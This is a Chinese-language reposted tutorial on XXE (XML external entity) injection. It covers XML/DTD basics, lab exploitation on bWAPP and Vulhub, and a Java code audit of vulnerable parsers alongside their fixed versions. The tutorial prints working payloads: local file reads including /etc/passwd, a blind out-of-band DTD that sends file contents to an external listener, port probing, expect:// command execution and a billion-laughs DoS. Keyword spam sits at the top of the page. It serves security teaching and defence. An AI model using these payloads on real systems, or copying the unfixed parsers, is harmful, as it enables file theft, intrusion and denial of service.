日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

【网络安全】JAVA代码审计—— XXE外部实体注入

發(fā)布時間:2025/3/21 编程问答 26 豆豆
生活随笔 收集整理的這篇文章主要介紹了 【网络安全】JAVA代码审计—— XXE外部实体注入 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

一、WEB安全部分

想要了解XXE,在那之前需要了解XML的相關基礎

二、XML基礎

2.1 XML語法

所有的XML元素都必須有一個關閉標簽
XML標簽對大小寫敏感
XML必須正確嵌套
XML 文檔必須有根元素
XML屬性值必須加引號
實體引用,在標簽屬性,以及對應的位置值可能會出現(xiàn)<>符號,但是這些符號在對應的XML中都是有特殊含義的,這時候我們必須使用對應html的實體對應的表示,比如<對應的實體就是&lt,>符號對應的實體就是&gt

在XML中,空格會被保留,如:

a空格B

,這時候a和B之間的空格就會被保留

2.2 XML結(jié)構(gòu)

需要安全學習資料可以私信我:書籍、視頻教程、工具及學習思路【點擊查看】

2.2.1 XML文檔聲明

<?xml version="1.0" encoding="utf-8"?>

2.2.2 元素

元素是 XML 以及 HTML 文檔的主要構(gòu)建模塊,元素可包含文本、其他元素或者是空的。

<body>body text in between</body> <message>some message in between</message>

空元素有例如:hr、br、img

2.2.3 屬性

屬性可提供有關元素的額外信息

<img src="computer.gif"/>

其中,src為屬性

2.2.4 實體

實體分為四種類型,分別為:

  • 字符實體
  • 命名實體
  • 外部實體
  • 參數(shù)實體

2.3 文檔類型定義–DTD

DTD是用來規(guī)范XML文檔格式,既可以用來說明哪些元素/屬性是合法的以及元素間應當怎樣嵌套/結(jié)合,也用來將一些特殊字符和可復用代碼段自定義為實體

DTD可以嵌入XML文檔當中(內(nèi)部聲明),也可以以單獨的文件存放(外部引用)

2.3.1 DTD內(nèi)部聲明

假如 DTD 被包含在您的 XML 源文件中,它應當通過下面的語法包裝在一個 DOCTYPE 聲明中:

內(nèi)部聲明DTD示例

<?xml version="1.0"?> <!DOCTYPE note [<!ELEMENT note (to,from,heading,body)><!ELEMENT to (#PCDATA)><!ELEMENT from (#PCDATA)><!ELEMENT heading (#PCDATA)><!ELEMENT body (#PCDATA)> ]> <note><to>George</to><from>John</from><heading>Reminder</heading><body>Don't forget the meeting!</body> </note>

以上 DTD 解釋如下:

  • !DOCTYPE note (第二行)定義此文檔是 note 類型的文檔。
  • !ELEMENT note (第三行)定義 note 元素有四個元素:“to、from、heading,、body”
  • !ELEMENT to (第四行)定義 to 元素為 “#PCDATA” 類型
  • !ELEMENT from (第五行)定義 from 元素為 “#PCDATA” 類型
  • !ELEMENT heading (第六行)定義 heading 元素為 “#PCDATA” 類型
  • !ELEMENT body (第七行)定義 body 元素為 “#PCDATA” 類型

2.3.2 DTD外部引用

假如 DTD 位于 XML 源文件的外部,那么它應通過下面的語法被封裝在一個 DOCTYPE 定義中:

這個 XML 文檔和上面的 XML 文檔相同,但是擁有一個外部的 DTD:

<?xml version="1.0"?> <!DOCTYPE note SYSTEM "note.dtd"> <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note>

note.dtd:

<!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)>

2.3.3 PCDATA

PCDATA 的意思是被解析的字符數(shù)據(jù)(parsed character data)。

PCDATA 是會被解析器解析的文本。這些文本將被解析器檢查實體以及標記,文本中的標簽會被當作標記來處理,而實體會被展開,值得注意的是,PCDATA不應包含&、<和>字符,需要用& < >實體替換,又或者是使用CDATA

2.3.4 CDATA

CDATA 的意思是字符數(shù)據(jù)(character data)。

CDATA 是不會被解析器解析的文本。

在XML中&、<字符是屬于違法的,這是因為解析器會將<解釋為新元素的開始,將&解釋為字符實體的開始,所以當我們有需要使用包含大量&、<字符的代碼,則可以使用CDATA

CDATA由結(jié)束,在CDATA當中,不能包含]]>字符串,也不能嵌套CDATA,結(jié)尾的]]>字符串不能包含任何的空格和換行

2.3.5 DTD實體

DTD實體是用于定義引用普通文本或特殊字符的快捷方式的變量,可以內(nèi)部聲明或外部引用。

實體又分為一般實體和參數(shù)實體

1,一般實體的聲明語法:

引用實體的方式:&實體名;

2,參數(shù)實體只能在DTD中使用,參數(shù)實體的聲明格式:

引用實體的方式:%實體名;

2.3.5.1 內(nèi)部實體

<!ENTITY writer "Bill Gates"> <!ENTITY copyright "Copyright W3School.com.cn"><author>&writer;?right;</author>

2.3.5.2 外部實體

外部實體,用來引入外部資源。有SYSTEM和PUBLIC兩個關鍵字,表示實體來自本地計算機還是公共計算機

<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"> <!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"><author>&writer;?right;</author>

不同程序支持的協(xié)議不同

其中php支持的協(xié)議會更多一些,但需要一定的擴展支持。

三、XXE

XXE即XML外部實體注入,由上面可知,外部實體指的就是DTD外部實體,而造成XXE的原因是在解析XML的時候,對惡意的外部實體進行解析導致可加載惡意外部文件,造成文件讀取、命令執(zhí)行、內(nèi)網(wǎng)端口掃描、攻擊內(nèi)網(wǎng)網(wǎng)站、發(fā)起dos攻擊等危害

如何判斷

3.1 如何判斷是否存在XXE

以bwapp靶場為例

首先查看http頭,觀察是否有XML相關字符串

再判斷是否解析了XML內(nèi)容

發(fā)現(xiàn)修改內(nèi)容后服務器回解析相應的內(nèi)容

3.2 XXE可導致的危害

3.2.1 讀取文件

最主要使用的是使用XXE來讀取文件,這里我使用bwapp靶場作為環(huán)境

我搭建環(huán)境的時候使用php版本為5.2.17的環(huán)境,我是使用phpstudy搭建的環(huán)境,如果php版本大于5.2.17或者使用docker環(huán)境(php版本為5.5.9)會導致沒有回顯,當然可能只是我的環(huán)境問題,但是如果以low難度進行注入時使用正確的payload都是顯示An error occured!的話,可以嘗試使用我的方法

3.2.1.1 有回顯

首先先進入XXE漏洞的測試界面

http://192.168.0.105/bwapp/xxe-1.php

進行抓包,發(fā)現(xiàn)存在text/xml

通過修改數(shù)據(jù),觀察服務器是否會解析XML的內(nèi)容

確定服務器會解析XML內(nèi)容,就可以自己構(gòu)造注入了

<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE test[<!ENTITY bee SYSTEM "file:///d:/robots.txt"> ]><reset><login>&bee;</login><secret>Any bugs?</secret></reset>

XML的外部實體“bee”被賦予的值為:file:///d:/robots.txt,當解析xml文檔時,bee會被替換為file:///d:/robots.txt的內(nèi)容。就被執(zhí)行回顯回來了。

3.2.1.2 無回顯(Blind XXE)

但是在實際環(huán)境中XML大多數(shù)時候并非是為了輸出用,所以很多時候是不會有輸出的,這樣即使XML被解析了但是是無法直接讀取文件的,所以我們需要外帶數(shù)據(jù),把數(shù)據(jù)發(fā)送出來讀取

靶場環(huán)境:Vulhub - Docker-Compose file for vulnerability environment

搭建好環(huán)境后先進入此頁面http://192.168.3.25:8983/solr/#/demo/query,然后點擊提交,進行抓包,并把包發(fā)送到重放器

在本地主機(使用橋接)或者是云服務器,反正能讓目標服務器連接到的ip的主機即可,在此服務器上創(chuàng)建dtd文件

<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % dtd "<!ENTITY data SYSTEM ':%file;'>">

創(chuàng)建完后修改包內(nèi)的payload

/solr/demo/select?_=1641268411205&q=<%3fxml+version%3d"1.0"+%3f><!DOCTYPE+hack[<!ENTITY+%25+send+SYSTEM+“http%3a//192.168.3.35/xxe.dtd”>%25send%3b%25dtd%3b]>%26data%3b&wt=xml&defType=xmlparser

該payload解碼后為

<?xml version="1.0" ?>%send;%dtd;]>&data;&wt=xml&defType=xmlparser

注意,http://192.168.3.35/xxe.dtd這句需要改為自己的地址,同時發(fā)包的時候不要把&wt=xml&defType=xmlparser進行url編碼,直接復制上去就好了

以上情況是當php報錯時將里面的數(shù)據(jù),如果php沒有報錯則使用下面的方法

首先先監(jiān)聽端口,然后在上面的基礎上修改一下dtd文件

<!ENTITY % file SYSTEM "file:///h:/test.txt"> <!ENTITY % dtd "<!ENTITY data SYSTEM '192.168.3.35:666/?%file;'>">

在連接后面附上監(jiān)聽的端口,發(fā)送后會在監(jiān)聽處收到信息,如果沒有可以嘗試查看服務器日志

這里用一下別人的圖

參考鏈接:XXE漏洞詳解——進階篇 - FreeBuf網(wǎng)絡安全行業(yè)門戶


但是我這里復現(xiàn)沒有成功,也有可能是直接通過報錯讀出文件的原因,但是還是記錄一下這種情況

3.2.1.3 讀取PHP等文件

由于一些文件,如php文件內(nèi)含有<等字符,在讀取的時候想、解析器會將這些解析為xml語言導致語法錯誤,所以為了避免這種情況出現(xiàn)使用偽協(xié)議來讀取

<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE test[<!ENTITY bee SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/robots.txt"> ]><reset><login>&bee;</login><secret>Any bugs?</secret></reset>



3.2.1.4 端口探測

同樣使用bwapp靶場作為環(huán)境

前面的流程基本一致,抓包后構(gòu)造注入

在http連接后跟端口,如果端口開啟,則會顯示 failed to open stream: HTTP request failed!,否則不顯示(或者顯示failed to open stream: Connection refuse!或500狀態(tài)碼)

我這里使用phpstudy作為環(huán)境,所以開啟了3306端口

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE hack[ <!ENTITY bee SYSTEM "http://192.168.3.25:3306"> ]>


測試666端口,機器沒有開啟,所以在發(fā)送包后獲取響應包需要很長一段時間,最后報500錯誤碼

測試1234端口,本機同樣為開啟,也是等待了一小會才獲取到的響應包

3.2.1.5 遠程命令執(zhí)行RCE

要想要RCE需要使用expect協(xié)議,其他協(xié)議也有可能可以執(zhí)行命令

expect需要安裝expect拓展

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE hack[ <!ENTITY bee SYSTEM "expect://whoami"> ]>

3.2.1.6 DDOS 攻擊

參考文章:XXE從入門到放棄 - 安全客,安全資訊平臺 (anquanke.com)

<?xml version="1.0"?><!DOCTYPE lolz [<!ENTITY lol "abc"><!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"><!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"><!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"><!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"><!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"><!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"><!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"><!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]><lolz>&lol9;</lolz>

該攻擊通過創(chuàng)建一項遞歸的 XML 定義,在內(nèi)存中生成十億個”abc”字符串,從而導致 DDoS 攻擊。原理為:構(gòu)造惡意的XML實體文件耗盡可用內(nèi)存,因為許多XML解析器在解析XML文檔時傾向于將它的整個結(jié)構(gòu)保留在內(nèi)存中,解析非常慢,造成了拒絕服務器攻擊。

3.2.1.7 防御XXE

方案一、使用開發(fā)語言提供的禁用外部實體的方法

PHP: libxml_disable_entity_loader(true);JAVA:看下面的代碼審計Python: 第三方模塊lxml按照修改設置來改就可以 from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))def xxe():tree = etree.parse('xml.xml', etree.XMLParser(resolve_entities=False))# tree = lxml.objectify.parse('xml.xml', etree.XMLParser(resolve_entities=False))return etree.tostring(tree.getroot()) 嘗試改用defusedxml 是一個純 Python 軟件包,它修改了所有標準庫 XML 解析器的子類,可以防止任何潛在的惡意操作。 對于解析不受信任的XML數(shù)據(jù)的任何服務器代碼,建議使用此程序包。

方案二、過濾用戶提交的XML數(shù)據(jù)

關鍵詞:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

不允許XML中含有任何自己聲明的DTD

有效的措施:配置XML parser只能使用靜態(tài)DTD,禁止外來引入;對于Java來說,直接設置相應的屬性值為false即可

參考文章:(38條消息) XXE詳解_bylfsj的博客-CSDN博客_xxe

四、JAVA代碼審計部分

XXE為XML External Entity Injection的英文縮寫,當開發(fā)人員允許xml解析外部實體時,攻擊者可構(gòu)造惡意外部實體來達到任意文件讀取、內(nèi)網(wǎng)端口探測、命令執(zhí)行、拒絕服務攻擊等方面的攻擊。

產(chǎn)生XXE有三個條件,首先是解析了XML,其次是XML外部可控。最后是沒有禁用外部實體

五、XML常見接口

5.1 XMLReader

XMLReader接口是一種通過回調(diào)讀取XML文檔的接口,其存在于公共區(qū)域中。XMLReader接口是XML解析器實現(xiàn)SAX2驅(qū)動程序所必需的接口,其允許應用程序設置和查詢解析器中的功能和屬性、注冊文檔處理的事件處理程序,以及開始文檔解析。當XMLReader使用默認的解析方法并且未對XML進行過濾時,會出現(xiàn)XXE漏洞

5.2 SAXBuilder

SAXBuilder是一個JDOM解析器,其能夠?qū)⒙窂街械腦ML文件解析為Document對象。SAXBuilder使用第三方SAX解析器來處理解析任務,并使用SAXHandler的實例偵聽SAX事件。當SAXBuilder使用默認的解析方法并且未對XML進行過濾時,會出現(xiàn)XXE漏洞

5.3 SAXReader

DOM4J是dom4j.org出品的一個開源XML解析包,使用起來非常簡單,只要了解基本的XML-DOM模型,就能使用。DOM4J讀/寫XML文檔主要依賴于org.dom4j.io包,它有DOMReader和SAXReader兩種方式。因為使用了同一個接口,所以這兩種方式的調(diào)用方法是完全一致的。同樣的,在使用默認解析方法并且未對XML進行過濾時,其也會出現(xiàn)XXE漏洞。

5.4 SAXParserFactory

SAXParserFactory使應用程序能夠配置和獲取基于SAX的解析器以解析XML文檔。其受保護的構(gòu)造方法,可以強制使用newInstance()。跟上面介紹的一樣,在使用默認解析方法且未對XML進行過濾時,其也會出現(xiàn)XXE漏洞。

5.5 Digester

Digester類用來將XML映射成Java類,以簡化XML的處理。它是Apache Commons庫中的一個jar包:common-digester包。一樣的在默認配置下會出現(xiàn)XXE漏洞。其觸發(fā)的XXE漏洞是沒有回顯的,我們一般需通過Blind XXE的方法來利用

5.6 DocumentBuilderFactory

javax.xml.parsers包中的DocumentBuilderFactory用于創(chuàng)建DOM模式的解析器對象,DocumentBuilderFactory是一個抽象工廠類,它不能直接實例化,但該類提供了一個newInstance()方法,這個方法會根據(jù)本地平臺默認安裝的解析器,自動創(chuàng)建一個工廠的對象并返回。

六、接口代碼審計&修復

通過了解XXE的原理了解到防御XXE只需要做到以下幾點

1、不解析XML,但是有的時候業(yè)務需要

2、禁用dtd,同樣很多時候無法實現(xiàn)

3、禁用外部實體和參數(shù)實體

對大部分時候,都可以通過設置feature來控制解析器的行為

// 這是優(yōu)先選擇. 如果不允許DTDs (doctypes) ,幾乎可以阻止所有的XML實體攻擊 setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // 如果不能完全禁用DTDs,最少采取以下措施,必須兩項同時存在 setFeature("http://xml.org/sax/features/external-general-entities", false);// 防止外部實體POC setFeature("http://xml.org/sax/features/external-parameter-entities", false);// 防止參數(shù)實體POC

如果是啟用了XIclude則要在feature規(guī)則前添加

dbf.setXIncludeAware(true); // 支持XInclude dbf.setNamespaceAware(true); // 支持XInclude

以下代碼均出于:java-sec-code/XXE.java at master · JoyChou93/java-sec-code (github.com)

6.1 XMLReader

try {String body = WebUtils.getRequestBody(request);logger.info(body);XMLReader xmlReader = XMLReaderFactory.createXMLReader();xmlReader.parse(new InputSource(new StringReader(body))); // parse xmlreturn "xmlReader xxe vuln code"; } catch (Exception e) {logger.error(e.toString());return EXCEPT; }


6.2 修復代碼

try {String body = WebUtils.getRequestBody(request);logger.info(body);XMLReader xmlReader = XMLReaderFactory.createXMLReader();// fix code startxmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);//fix code endxmlReader.parse(new InputSource(new StringReader(body))); // parse xml} catch (Exception e) {logger.error(e.toString());return EXCEPT; }

6.3 SAXBuilder

try {String body = WebUtils.getRequestBody(request);logger.info(body);SAXBuilder builder = new SAXBuilder();// org.jdom2.Document documentbuilder.build(new InputSource(new StringReader(body))); // cause xxereturn "SAXBuilder xxe vuln code"; } catch (Exception e) {logger.error(e.toString());return EXCEPT; }


6.4 修復代碼:

try {String body = WebUtils.getRequestBody(request);logger.info(body);SAXBuilder builder = new SAXBuilder();// fix code startbuilder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);builder.setFeature("http://xml.org/sax/features/external-general-entities", false);builder.setFeature("http://xml.org/sax/features/external-parameter-entities", false);// fix code end// org.jdom2.Document documentbuilder.build(new InputSource(new StringReader(body)));} catch (Exception e) {logger.error(e.toString());return EXCEPT; }

6.5 SAXReader

try {String body = WebUtils.getRequestBody(request);logger.info(body);SAXReader reader = new SAXReader();// org.dom4j.Document documentreader.read(new InputSource(new StringReader(body))); // cause xxe} catch (Exception e) {logger.error(e.toString());return EXCEPT; }


修復代碼:

try {String body = WebUtils.getRequestBody(request);logger.info(body);SAXReader reader = new SAXReader();// fix code startreader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);reader.setFeature("http://xml.org/sax/features/external-general-entities", false);reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);// fix code end// org.dom4j.Document documentreader.read(new InputSource(new StringReader(body))); } catch (Exception e) {logger.error(e.toString());return EXCEPT; }

6.6 SAXParserFactory

try {String body = WebUtils.getRequestBody(request);logger.info(body);SAXParserFactory spf = SAXParserFactory.newInstance();SAXParser parser = spf.newSAXParser();parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xmlreturn "SAXParser xxe vuln code"; } catch (Exception e) {logger.error(e.toString());return EXCEPT; }


6.7 修復代碼:

try {String body = WebUtils.getRequestBody(request);logger.info(body);SAXParserFactory spf = SAXParserFactory.newInstance();// fix code startspf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);spf.setFeature("http://xml.org/sax/features/external-general-entities", false);spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);// fix code startSAXParser parser = spf.newSAXParser();parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml } catch (Exception e) {logger.error(e.toString());return EXCEPT; }

6.8 Digester

try {String body = WebUtils.getRequestBody(request);logger.info(body);Digester digester = new Digester();digester.parse(new StringReader(body)); // parse xml } catch (Exception e) {logger.error(e.toString());return EXCEPT; }


修復代碼:

try {String body = WebUtils.getRequestBody(request);logger.info(body);Digester digester = new Digester();// fix code startdigester.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);digester.setFeature("http://xml.org/sax/features/external-general-entities", false);digester.setFeature("http://xml.org/sax/features/external-parameter-entities", false);// fix code enddigester.parse(new StringReader(body)); // parse xmlreturn "Digester xxe security code"; } catch (Exception e) {logger.error(e.toString());return EXCEPT; }

6.9 DocumentBuilderFactory

6.9.1 代碼1:

try {String body = WebUtils.getRequestBody(request);logger.info(body);DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();DocumentBuilder db = dbf.newDocumentBuilder();StringReader sr = new StringReader(body);InputSource is = new InputSource(sr);Document document = db.parse(is); // parse xml// 遍歷xml節(jié)點name和valueStringBuilder buf = new StringBuilder();NodeList rootNodeList = document.getChildNodes();for (int i = 0; i < rootNodeList.getLength(); i++) {Node rootNode = rootNodeList.item(i);NodeList child = rootNode.getChildNodes();for (int j = 0; j < child.getLength(); j++) {Node node = child.item(j);buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent()));}}sr.close();return buf.toString(); } catch (Exception e) {logger.error(e.toString());return EXCEPT; }


6.9.2 代碼2:

try {String body = WebUtils.getRequestBody(request);logger.info(body);DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();DocumentBuilder db = dbf.newDocumentBuilder();StringReader sr = new StringReader(body);InputSource is = new InputSource(sr);Document document = db.parse(is); // parse xml// 遍歷xml節(jié)點name和valueStringBuilder result = new StringBuilder();NodeList rootNodeList = document.getChildNodes();for (int i = 0; i < rootNodeList.getLength(); i++) {Node rootNode = rootNodeList.item(i);NodeList child = rootNode.getChildNodes();for (int j = 0; j < child.getLength(); j++) {Node node = child.item(j);// 正常解析XML,需要判斷是否是ELEMENT_NODE類型。否則會出現(xiàn)多余的的節(jié)點。if (child.item(j).getNodeType() == Node.ELEMENT_NODE) {result.append(String.format("%s: %s\n", node.getNodeName(), node.getFirstChild()));}}}sr.close();return result.toString(); } catch (Exception e) {logger.error(e.toString());return EXCEPT; }

6.9.3 修復代碼:

try {String body = WebUtils.getRequestBody(request);logger.info(body);DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);DocumentBuilder db = dbf.newDocumentBuilder();StringReader sr = new StringReader(body);InputSource is = new InputSource(sr);db.parse(is); // parse xmlsr.close(); } catch (Exception e) {logger.error(e.toString());return EXCEPT; }

6.9.4 代碼3,支持XInclude:

6.9.4.1何為XInclude

Xinclude即為XML Include,其實就是文件包含,其作用很大時候可以使得代碼更加簡潔,當需要使用其中的內(nèi)容的時候再把文件包含進來,可以參考php的include

try {String body = WebUtils.getRequestBody(request);logger.info(body);DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();dbf.setXIncludeAware(true); // 支持XIncludedbf.setNamespaceAware(true); // 支持XIncludeDocumentBuilder db = dbf.newDocumentBuilder();StringReader sr = new StringReader(body);InputSource is = new InputSource(sr);Document document = db.parse(is); // parse xmlNodeList rootNodeList = document.getChildNodes();response(rootNodeList);sr.close();return "DocumentBuilder xinclude xxe vuln code"; } catch (Exception e) {logger.error(e.toString());return EXCEPT; }

修復代碼;

try {String body = WebUtils.getRequestBody(request);logger.info(body);DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();dbf.setXIncludeAware(true); // 支持XIncludedbf.setNamespaceAware(true); // 支持XIncludedbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);DocumentBuilder db = dbf.newDocumentBuilder();StringReader sr = new StringReader(body);InputSource is = new InputSource(sr);Document document = db.parse(is); // parse xmlNodeList rootNodeList = document.getChildNodes();response(rootNodeList);sr.close(); } catch (Exception e) {logger.error(e.toString());return EXCEPT; }

6.10 XMLReader&SAXParserFactory

try {String body = WebUtils.getRequestBody(request);logger.info(body);SAXParserFactory spf = SAXParserFactory.newInstance();SAXParser saxParser = spf.newSAXParser();XMLReader xmlReader = saxParser.getXMLReader();xmlReader.parse(new InputSource(new StringReader(body)));} catch (Exception e) {logger.error(e.toString());return EXCEPT; }


修復代碼:

try {String body = WebUtils.getRequestBody(request);logger.info(body);SAXParserFactory spf = SAXParserFactory.newInstance();SAXParser saxParser = spf.newSAXParser();XMLReader xmlReader = saxParser.getXMLReader();xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);xmlReader.setFeature("http://xml.org/sax/features/external-general-entities", false);xmlReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);xmlReader.parse(new InputSource(new StringReader(body)));} catch (Exception e) {logger.error(e.toString());return EXCEPT; }

6.11 DocumentHelper

try {String body = WebUtils.getRequestBody(req);DocumentHelper.parseText(body); // parse xml } catch (Exception e) {logger.error(e.toString());return EXCEPT; }


修復該漏洞只需升級dom4j到2.1.1及以上,該版本及以上禁用了ENTITY;

不帶ENTITY的PoC不能利用,所以禁用ENTITY即可完成修復。

總結(jié)

以上是生活随笔為你收集整理的【网络安全】JAVA代码审计—— XXE外部实体注入的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。